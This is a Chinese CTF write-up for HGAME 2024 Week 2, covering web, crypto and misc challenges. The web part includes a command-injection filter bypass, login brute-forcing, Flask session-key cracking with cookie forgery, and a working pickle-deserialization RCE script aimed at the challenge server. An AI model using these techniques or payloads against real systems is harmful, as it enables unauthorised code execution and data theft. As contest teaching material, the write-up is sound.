HGAME 2024 WEEK2 WP

news2024/11/30 10:56:04

文章目录

    • WEB
      • What the cow say?
      • Select More Courses
      • myflask
    • Crypto
      • midRSA
      • midRSA revenge
      • backpack
      • backpack revenge
      • babyRSA
      • 奇怪的图片plus
    • MISC
      • 我要成为华容道高手
      • ek1ng_want_girlfriend
      • ezWord
      • 龙之舞

回老家了,初七晚上才回去,估计week3前几天不怎么能做咯

WEB

What the cow say?

反引号的命令执行,发现出现flag会被ban,cat会被ban,于是用tac,flag用f*

在这里插入图片描述

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

Select More Courses

用字典爆破

在这里插入图片描述

qwert123

然后给出提示又是学分不够,要去扩学分。然后又是和week1一样搞不懂怎么的莫名就可以选了,不过看week1里面半分钟刷新一次,这次就在扩学分那里一直扩学分和enter按了二十多秒,再到选课界面就选上了。

在这里插入图片描述

myflask

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

知道key的范围了,搜CTF flask爆破secret_key

https://ctf.org.cn/2019/11/19/flask%E4%B8%ADsession%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/

找到工具Flask-Unsign

然后由于我自己指定密码本没有成功,去看了一下本子位置,发现需要引号

在这里插入图片描述

因此自己手动给密码本添加了一下时间的密码得到key,然后加密的时候要两层引号一起包起来,不知道为啥

在这里插入图片描述

改cookie去访问/flag

在这里插入图片描述

然后叫GPT帮我写个脚本

import pickle
import base64
from subprocess import check_output

class ExecuteLS:
    def __reduce__(self):
        # 使用 check_output 来捕获命令的输出
        return (check_output, (('cat','/flag'),))

# 创建恶意对象
mal_obj = ExecuteLS()

# 序列化对象
pickle_data = pickle.dumps(mal_obj)

# 编码为 Base64,以便在网络上传输
pickle_data_base64 = base64.b64encode(pickle_data)
print(pickle_data_base64)
# 然后,您可以将这个 base64 编码的字符串发送到服务器
# 假设服务器端的 Flask 视图函数正确处理了反序列化
# 并准备以字符串的形式返回命令的输出



import requests

# 服务器的 URL,例如 http://example.com/vulnerable-endpoint
url = 'http://106.14.57.14:31968/flag'

# 构造 POST 请求的数据
data = {'pickle_data': pickle_data_base64.decode('utf-8')}

# 发送请求
response = requests.post(url, cookies={"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcSQuA.Bkt3FwfEei1xLjI0gBEb45oLjHQ"},data=data,)

# 打印响应内容,看看是否成功执行了命令
print(response.text)

在这里插入图片描述

Crypto

midRSA

注意到m0=m>>208,return flag+b’\xff’*(64-len(flag))

既然说是非预期,猜测低位本身就不包含flag内容,把低位全补0

import libnum
m = 13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
m0 = m << 208
print(libnum.n2s(m0))
#hgame{0ther_cas3s_0f_c0ppr3smith}

midRSA revenge


https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html文中的Coppersmith攻击(已知m的高位攻击)

用sage

#Sage
e = 5
n=27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c=456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
mbar=0x6867616d657b633070707233736d6974685f537433726500000000000000000000000000000000L
kbits = 128
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print("m:", mbar + x0)
#3402789736593180236658155503802934243882633217001276110520820253391839278880462965966606922621

然后n2s即可得到flag为hgame{c0ppr3smith_St3re0typed_m3ssag3s}

backpack

考背包,不过又提示有非预期

注意到assert len(bin(p)[2:])==32,enc=bytes_to_long(flag)^p

我想的是知道p的范围去爆破p然后得到enc,不过又和上一题一样的问题

import libnum
m = 871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
print(libnum.n2s(m))
#hgame{M@ster_0f ba3kpack_m4nag3ment!}

backpack revenge

找脚本,首先找到解背包密码的LLL脚本:https://lazzzaro.github.io/2022/05/26/match-Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B/

在这里插入图片描述

发现没有结果,输出了一下发现确实没有结果。把这个脚本带入到第一道题里面去,却能跑出来,说明脚本没问题

在这里插入图片描述

这里就开始考虑其他变形之类的,不懂这块就开搜:https://lazzzaro.github.io/2020/05/13/crypto-%E5%85%B6%E4%BB%96%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/index.html

Knapsack,里面有解密脚本

#sagemath
from sage.all import *

pk =  [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
ct =  1202548196826013899006527314947
print(ct)
print(len(pk))
n = len(pk)

# Sanity check for application of low density attack
d = n / log(max(pk), 2)
print(CDF(d))
assert CDF(d) < 0.9408

M = Matrix.identity(n) * 2

last_row = [1 for x in pk]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)

last_col = pk
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)

M = M.stack(M_last_row)
M = M.augment(M_last_col)

X = M.BKZ()

sol = []
for i in range(n + 1):
    testrow = X.row(i).list()[:-1]
    if set(testrow).issubset([-1, 1]):
        for v in testrow:
            if v == 1:
                sol.append(0)
            elif v == -1:
                sol.append(1)
        break

s = sol
print(s)

1202548196826013899006527314947
48
0.5004362519031288
[1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1]

试了一下顺着拼下面输出的结果,为空,那应该是反过来的

print(int("111101000010110101010001010011000111000100100001",2))
#268475474669857

由于过年平台暂停提交flag,只能自己验证一下了

a = [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]

p = 268475474669857
bag=0
for i in a:
    temp=p%2
    bag+=temp*i
    p=p>>1

print(f'a={a}')
print(f'bag={bag}')

在这里插入图片描述

好哦

在这里插入图片描述

hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}

babyRSA

首先求解e+114514+p**k

p=14213355454944773291
gift=9751789326354522940
e = 0x10001
e_new = pow(gift, pow(e, -1, p-1), p)
print(e_new)
#188075

由于p**k大于188075,易得e = 188075-114514 = 73561

测试发现e和phi不互素且e为质数,phi是e的倍数。考虑AMM,当然我是不懂的,这里是靠搜搜到的(评论区)https://www.bilibili.com/read/cv13437297/

https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html

找到AMM有关脚本,依旧是sage

#脚本1
#Sage
e = 73561
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841

for mp in GF(p)(c).nth_root(e, all=True):
    for mq in GF(q)(c).nth_root(e, all=True):
        m = crt([ZZ(mp), ZZ(mq)], [p, q])
        try:
            res = bytes.fromhex(hex(m)[2:])
            if res.isascii():
                print(res)
        except:
            pass

hgame{Ad1eman_Mand3r_Mi11er_M3th0d}

奇怪的图片plus

在做完华容道之后的那天晚上,对着这道题先是发了一会的呆,一直把server里的check_pixels函数搞错了,我在想为什么xy又要等于黑色又不等于黑色

在第4天的下午,刷完一个两小时的沙雕动画之后,寻思来看会题,一下就解决了之前那个问题,也找到了解题的关键点

和week的图片一样,考点貌似并不是crypto哦,怎么不移到misc里

题目给了三个python文件和两个图片文件。其中encryption.py是flag.png加密的文件

server.pyclient.py是与服务器交互用的

简单看一下client.pyserver.py的作用

import websocket
import re
from PIL import Image
import struct
import threading


def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

def handle_input(ws):
    try:
        while True:
            message = input()
            if message.lower() == 'exit':
                ws.close()
                break
            elif message.lower() == 'help':
                print("send_img: send_img <path_to_img_1> <path_to_img_2>")
                print("check: check")
                print("help: help")
                print("exit: exit")
            elif message[:8] == 'send_img':
                try:
                    pattern = re.compile(r'\s(.*?)\s(.*?)$')
                    match = pattern.search(message)
                    if match:
                        path_1 = match.group(1)
                        path_2 = match.group(2)
                        image_1 = Image.open(path_1)
                        image_2 = Image.open(path_2)
                        ws.send_binary(b"B1" + image_1.width.to_bytes(4, "big") + image_1.height.to_bytes(4, "big") + image_to_bytes(image_1))
                        ws.send_binary(b"B2" + image_2.width.to_bytes(4, "big") + image_2.height.to_bytes(4, "big") + image_to_bytes(image_2))
                    else:
                        raise FileNotFoundError("Command format error")
                except FileNotFoundError as err:
                    print(err)
            elif message == 'check':
                ws.send_binary(b"B3")
    except websocket.WebSocketException as err:
        print(err)

def handle_recv(ws):
    try:
        while True:
            msg = ws.recv()
            print("Msg from server: {}".format(msg))
    except websocket.WebSocketException as err:
        print(err)

def main():
    # uri = "ws://localhost:10002"
    uri = input("input uri: ")
    print("type 'help' to get help")
    ws = websocket.create_connection(uri)
    input_thread = threading.Thread(target=handle_input, args=(ws,), daemon=True)
    recv_thread = threading.Thread(target=handle_recv, args=(ws,), daemon=True)
    recv_thread.start()
    input_thread.start()
    recv_thread.join()
    input_thread.join()

if __name__ == "__main__":
    main()

能够注意到client.py是用于连接至服务器并发送图片进行验证的,主要内容并不在这里,看server.py

import asyncio
import os
import websockets
from PIL import Image
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


gift = b''.hex() # hide here
pos_list = [] # hide here


def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image


def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image


def check_pixels(image, positions):
    pixels = image.load()
    count = 0
    for x in range(image.size[0]):
        for y in range(image.size[1]):
            if (x, y) in positions:
                if pixels[x, y] != (0, 0, 0):
                    return False
            else:
                if pixels[x, y] == (0, 0, 0):
                    count += 1
                    if count == 10:
                        return False
    return True


async def handle_client(websocket):
    await websocket.send("Pls send two images that meet the following conditions")
    await websocket.send("The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'")
    await websocket.send("Note: The server has scaling function during validation! XD")
    image_1, image_2 = None, None
    image_1_w, image_1_h, image_2_w, image_2_h = 0, 0, 0, 0
    async for message_raw in websocket:
        try:
            if message_raw[:2] == b"B1":
                image_1_w = int.from_bytes(message_raw[2:6], "big")
                image_1_h = int.from_bytes(message_raw[6:10], "big")
                image_1 = message_raw[6:]
                await websocket.send("Image_1 received")
            elif message_raw[:2] == b"B2":
                image_2_w = int.from_bytes(message_raw[2:6], "big")
                image_2_h = int.from_bytes(message_raw[6:10], "big")
                image_2 = message_raw[6:]
                await websocket.send("Image_2 received")
            elif message_raw[:2] == b"B3":
                if image_1 and image_2:
                    F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
                    image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)
                    image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)
                    xor_image = xor_images(image_1_encrypted, image_2_encrypted)
                    xor_image = xor_image.resize((16, 9), Image.NEAREST)
                    xor_image.show()
                    if check_pixels(xor_image, pos_list):
                        await websocket.send("Here is your gift: {}".format(gift))
                    else:
                        await websocket.send("Verification failed")
                else:
                    await websocket.send("Pls send two images first!!")
        except ValueError as err:
            await websocket.send(err)

async def main():
    server = await websockets.serve(handle_client, "localhost", 10002)
    await server.wait_closed()


asyncio.run(main())

直接看与解题有关的handle_client()函数

接受传入的两张图片的像素值的bytes(在client.pyimage_to_bytes中),然后通过AES_ECB的方式对bytes进行加密,再把两组加密后的bytes恢复成图片,对恢复的两张图片进行异或操作之后,采用近邻法的方式缩小图片为(16,9)得到。然后与target.png图片进行比对

要求是:

target.png为黑色的部分,xor_image的此处也必须为黑色

target.png为白色的部分,xor_image的此处只要不是黑色即可,容错次数是9次。

一直没注意到xor_image = xor_image.resize((16, 9), Image.NEAREST)采用的是NEAREST既然是近邻法那就好说多了,简单来说

在这里插入图片描述

不过横线部分在这张图里就算是相同的也没关系,因为在近邻之后得到的图依旧是取点(3,3),与其他值无关。但如果这张图从5,5–>3,3的话,在其他部分就也需要控制好取值来满足这个条件了。

那么现在,就是生成两张部分数据相同(满足近邻后值相同)其他部分随机的图片

测试的时候发现,每组的第16位会影响上一组加密的值,所以写脚本的时候要注意这一点

结果调了差不多一个小时,就是不对,刚回过去看代码,发现呃好像有点不对劲,server.py

image1和image2:message_raw[6:]

为啥是6:。。。

这意味着前面是多出来8个字节的,当时根本没注意到这个。总归不够细心+菜

from PIL import Image
import struct
import os

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

pic1 = Image.new("RGB",(400,225),(255,255,255))
# pic1.save("xor1.png")
pic1_bytes = image_to_bytes(pic1)
array = []
array.append(pic1_bytes[:12])
for i in range(12,len(pic1_bytes), 16):
    array.append(pic1_bytes[i:i+16])

target = Image.open("target.png")
w,h = target.size
pos_list = []
for i in range(h):
    for j in range(w):
        if(target.getpixel((j,i)) == (0,0,0)):
            pos_list.append((12+j*25,12+i*25))
print(pos_list)
xor_same_data = b"\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75"

for pos in pos_list:
    pixel1 = (400*pos[1] + pos[0])*3
    pixel2 = (400*pos[1] + pos[0])*3+2
    pixel1_ind = (pixel1)//16
    pixel2_ind = (pixel2)//16
    if(pixel1_ind != pixel2_ind):
        array[pixel1_ind] = xor_same_data
        array[pixel2_ind] = xor_same_data
    else:
        array[pixel1_ind] = xor_same_data


pic1_array = array.copy()
pic2_array = array.copy()
pic1_array[0] = os.urandom(12)
pic2_array[0] = os.urandom(12)
pic1_array[-1] = os.urandom(len(pic1_array[-1]))
pic2_array[-1] = os.urandom(len(pic2_array[-1]))

for ar in range(1,len(pic1_array)-1):
    if(pic1_array[ar] != xor_same_data):
        pic1_array[ar] = os.urandom(16)
for ar in range(1,len(pic2_array)-1):
    if(pic2_array[ar] != xor_same_data):
        pic2_array[ar] = os.urandom(16)

pic1_array = b"".join(pic1_array)
pic2_array = b"".join(pic2_array)
print(len(pic1_array),len(pic2_array))


xor_pic1 = bytes_to_image(pic1_array,400,225)
xor_pic2 = bytes_to_image(pic2_array,400,225)
xor_pic1.save("xor_pic1.png")
xor_pic2.save("xor_pic2.png")

在这里插入图片描述

8693346e81fa05d8817fd2550455cdf6

接着去看encryption.py

发现就是用key和iv加密了flag,用的是OFB模式,这里倒是涉及到了密码的知识

搜了一下

在这里插入图片描述

既然已知背景是黑色的,则值为\x00.密文已知、key已知,可以恢复出第一组的值。但是第一组是什么呢?

在这里插入图片描述

由于ECB模式是直接进行加密操作,而OFB模式可以从图上看出还进行了一次异或操作

不过由于明文密文已知,这两异或之后得到的其实就是ECB的密文,则可以通过ECB解出iv

在这里插入图片描述

ee204de4050ad441ef778b2d2156198f6d

直接把encryption脚本改一下:

# flag = "hgame{fake_flag}"
# flag_image = Image.new("RGB", (200, 150), "black")
flag_image = Image.open("encrypted_flag.png")

key = b'\x86\x93\x34\x6e\x81\xfa\x05\xd8\x81\x7f\xd2\x55\x04\x55\xcd\xf6'
iv = b'\xee\x20\x4d\xe4\x05\x0a\xd4\x41\xef\x77\x8b\x2d\x21\x56\x19\x8f'
F = AES.new(key=key, mode=AES.MODE_OFB, iv=iv)
s = image_to_bytes(flag_image)
print(s[:32].hex())
m = pad(image_to_bytes(flag_image), F.block_size)
c = F.decrypt(m)
encrypted_image = bytes_to_image(c, 200, 150)
encrypted_image.show()

在这里插入图片描述

hgame{1ad4_80cc_1fb2_be7c}

MISC

我要成为华容道高手

这题被hackbar搞了,找传参找了两个小时,早就早到了不过hackbar一直传过去都显示invalid,换bp才好的

注意到点击开始的时候访问/api/newgame,翻唯一的js文件找到,顺便往下找到传参

fetch('/api/submit/' + this.gameId, {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json'
        },
        body: JSON.stringify(steps)
      }).then(function (res) {
        return res.json();
      }).then(function (data) {
        switch (data.status) {
          case "next":
            _this2.layout = data.game_stage.layout;
            break;
          case "win":
            alert(data.flag);
            break;
          case "lose":
            alert(data.msg);
            break;
          default:
            alert(data.status);
        }
        return 1;
      });

接着继续找steps

methods: {
    handleMove: function handleMove(direction, position) {
      var nextState = false;
      switch (direction) {
        case 1:
          nextState = _core2.default.moveUp(this.state, position);
          break;
        case 2:
          nextState = _core2.default.moveRight(this.state, position);
          break;
        case 3:
          nextState = _core2.default.moveDown(this.state, position);
          break;
        case 4:
          nextState = _core2.default.moveLeft(this.state, position);
          break;
      }
      if (nextState) {
        this.stepCount++; // 增加步骤计数
        this.steps.push({ // 保存当前步骤状态
          position: position,
          direction: direction
        });
        this.state = nextState;
        if (this.success) {
          this.$emit("success", this.steps);
          this.steps = [];
        }
      }
    }

得到传参内容为[{"position":n,"direction":m}]

手动用bp传一下发现是合理的

在这里插入图片描述

然后不仅游戏timeout了,我靶机也timeout了

接着去github上找一个项目,我找的是Klotski_Puzzle_Solver

看了下他的main,里面用了A星算法和DFS

刚开始改的脚本把DFS给注释掉了,结果一直过不了,后来搜了一下发现A星慢的很

于是这个项目把A星的部分注释掉

在这里插入图片描述

然后写个脚本即可,他是要10秒内玩10轮,我一直以为是每轮10秒呢

在这里插入图片描述

import requests
import json
import subprocess
import time

def Getgame(url):
    newgame = '/api/newgame'
    getgame = requests.get(url=url + newgame).text
    data = json.loads(getgame)
    gameId, layout = data["gameId"], data["layout"]
    return gameId,layout

def Submit(url,gameId,msg):
    headers = {
        'Pragma': 'no-cache',
        'Cache-Control': 'no-cache',
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
        'Origin': url,
        'Content-Type': 'application/json',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
        'Connection': 'close',
    }
    submit = f'/api/submit/{gameId}'
    response = requests.post(url=url + submit, json=msg, headers=headers)
    return response.text

def solves(layout):
    layout = list(layout)
    after_layout = ['0']*20
    count = 2
    for i in range(len(layout)):
        if(layout[i] == '2'):
            after_layout[i] = '7'
        elif(layout[i] == '3'):
            after_layout[i] = str(count)
            after_layout[i+4] = str(count)
            count += 1
        elif(layout[i] == '4'):
            after_layout[i] = str(count)
            after_layout[i+1] = str(count)
            count += 1
        elif(layout[i] == '5'):
            after_layout[i] = '1'
            after_layout[i+1] = '1'
            after_layout[i+4] = '1'
            after_layout[i+5] = '1'
    after_layout = ''.join(after_layout)
    out = '\n'.join([after_layout[i:i + 4] for i in range(0, len(after_layout), 4)])
    f = open('puzzle.txt','w').write(out)
    st = time.time()
    command = ['python3', 'main.py', 'puzzle.txt', '1.txt', '2.txt']
    subprocess.run(command, capture_output=True, text=True)
    et = time.time()
    print(et - st)
    fans = open('1.txt','r').readlines()[1:]
    fans = ''.join(fans).split('\n\n')
    fans = [s.replace('\n', '') for s in fans][:-1]
    # print(fans)
    data = []
    for i in range(len(fans)-1):
        first = fans[i]
        next = fans[i+1]
        dif = []
        BIG,hor = False,False
        c = 0
        for j in range(20):
            if(first[j] == next[j]):
                pass
            else:
                dif.append(j)
                if(c == 0):
                    if(int(first[j]) > int(next[j])):
                        BIG = True
                    if(first[j] == '2' or next[j] == '2'):
                        hor = True
                    c += 114514
        if(len(dif) == 2 and dif[1] - dif[0] == 8):
            if(BIG):
                data.append({"position": dif[0], "direction": 3})
            else:
                data.append({"position": dif[1]-4, "direction": 1})
        elif(len(dif) == 2 and dif[1] - dif[0] == 4):
            if(BIG):
                data.append({"position": dif[0], "direction": 3})
            else:
                data.append({"position": dif[1], "direction": 1})
        elif(len(dif) == 2 and dif[1] - dif[0] == 2):
            if(BIG):
                data.append({"position": dif[0], "direction": 2})
            else:
                data.append({"position": dif[1]-1, "direction": 4})
        elif(len(dif) == 2 and dif[1] - dif[0] == 1):
            if(BIG):
                data.append({"position": dif[0], "direction": 2})
            else:
                data.append({"position": dif[1], "direction": 4})
        elif(len(dif) == 4 and dif[1] - dif[0] == 2):
            if(BIG):
                data.append({"position": dif[0], "direction": 2})
            else:
                data.append({"position": dif[1]-1, "direction": 4})
        elif(len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 8)):
            if(BIG):
                data.append({"position": dif[0], "direction": 3})
            else:
                data.append({"position": dif[0]+4, "direction": 1})
        elif (len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 4)):
            if (BIG):
                if(hor):
                    data.append({"position": dif[0], "direction": 3})
                else:
                    data.append({"position": dif[0], "direction": 2})
            else:
                if(hor):
                    data.append({"position": dif[2], "direction": 1})
                else:
                    data.append({"position": dif[1], "direction": 4})
    # print(data)
    return data

if __name__ == "__main__":
    while True:
        try:
            url = "http://47.100.137.175:31139"
            gameId, layout = Getgame(url)
            print(gameId,layout)
            answer = solves(layout)
            for i in range(100):
                data = Submit(url,gameId,answer)
                if('hgame' in str(data) or "flag" in str(data)):
                    print(data)
                    exit()
                data = json.loads(data)
                print(data)
                layout = data["game_stage"]["layout"]
                answer = solves(layout)
        except:
            pass

ek1ng_want_girlfriend

导出对象—HTTP,看图片

在这里插入图片描述

ezWord

由于重装了电脑,做的时候发现cv2报错出问题了,赶紧当场安了一个pip3 install opencv-python install "opencv-python-headless<4.3" hhh

docx改zip解压,找到word\media,里面提示双图隐写作为压缩包密码,压缩包需要解两层

用BlindWaterMark,python3的

在这里插入图片描述

得到key为T1hi3sI4sKey

在这里插入图片描述

做过的都知道这是垃圾邮件编码的,没做过的小伙伴可以把第一行拿到google去搜即可

https://spammimic.com/

在这里插入图片描述

得到籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

盲猜unicode encode之后的hex直接转在这里插入图片描述

猜对了一半,转后面的字节

在这里插入图片描述

开头6个和hgame{做异或和加减的时候,发现差为9

s1 = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86'.split()
s2 = 'hgame{'
for i in range(len(s1)):
    print(chr(int(s1[i],16)-9),end='')
#hgame{0k_you_s0lve_al1_th3_secr3t}

龙之舞

这题又浪费了差不多二三十分钟,啧

在这里插入图片描述

频谱开头不对劲,调一下最高的频率

在这里插入图片描述

上下翻转

在这里插入图片描述

5H8w1nlWCX3hQLG

题目提示deepsound

在这里插入图片描述

解出来龙之舞.gif,用gifFrame分离一下每一帧

发现52,120,152,231各有二维码的一角

手动用画图拼接

在这里插入图片描述

直接扫扫不出来

在这里插入图片描述

试一下改掩码,目前是Q1

改到Q4发现出了一部分

在这里插入图片描述

然后改到M4获得完整的flag

在这里插入图片描述
hgame{drag0n_1s_d4nc1ng}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1449808.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android14之Android Rust模块编译语法(一百八十七)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

SPFA最短路复习

文章目录 从Bellman-Ford开始核心思想模拟算法执行过程时间复杂度模板 spfaspfa优化的思想模板 从Bellman-Ford开始 对于所有边权都大于等于0的图&#xff0c;任意两个顶点之间的最短路&#xff0c;显然不会经过重复的顶点或者边。也就是说任意一条最短路经过的定点数不会超过…

《汇编语言》- 读书笔记 - 第9章 - 转移指令的原理

《汇编语言》- 读书笔记 - 第9章 - 转移指令的原理 总结9.1 操作符 offset问题 9.1 9.2 jmp 指令9.3 依据位移进行转移的 jmp 指令jmp short 标号程序 9.1程序 9.2图 9.2 程序 9.2 的机器码 jmp near ptr 标号 9.4 转移的目的地址在指令中的 jmp 指令如何选择 jmp short、jmp n…

Github用人工智能(AI)帮你的代码修正安全漏洞

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

Java:继承——继承概念+父子类成员、构造访问顺序+super、this关键字(代码+画图超详解!)

